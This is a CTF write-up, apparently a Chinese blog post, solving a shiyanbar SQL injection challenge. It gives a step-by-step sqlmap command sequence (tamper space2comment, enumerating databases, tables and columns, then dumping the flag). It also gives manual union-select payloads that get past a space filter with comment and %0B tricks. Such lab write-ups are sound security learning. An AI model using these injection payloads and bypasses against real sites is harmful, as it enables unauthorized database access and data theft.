CTF之sqlmap学习

题目名称:简单的sql注入之2
地址http://www.shiyanbar.com/ctf/1908
有回显的mysql注入

格式:flag{}

解题链接: [http://ctf5.shiyanbar.com/web/index_2.php](javascript:;)

sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" --level 2
image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" --current-db
image.png

//查看当前数据库(web1)

sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 --tables
image.png

//查看表(flag)

image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 -T flag --columns

//查看列(flag)


image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 -T flag -C flag --dump

//查看flag信息

image.png

id=1''(两个单引号)成功,id=1 '' 出错,说明过滤空格。

绕过空格过滤的方式:

  1. /**/

  2. ()

  3. %0B 据说%0a-%0z都可以

  4. 其他绕过方式

id=1'union//select//1' 查询出两条

id=1'//union//select//table_name//from/**/information_schema.tables' 出错,如果同上的话应该是可以的,我不知道为什么

id=1'union//select//table_name//from//information_schema.tables//where//''=' 这样是可以的

id=1'union//select//column_name//from//information_schema.columns//where//''='

id='union//select//flag//from//flag/**/where''='

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。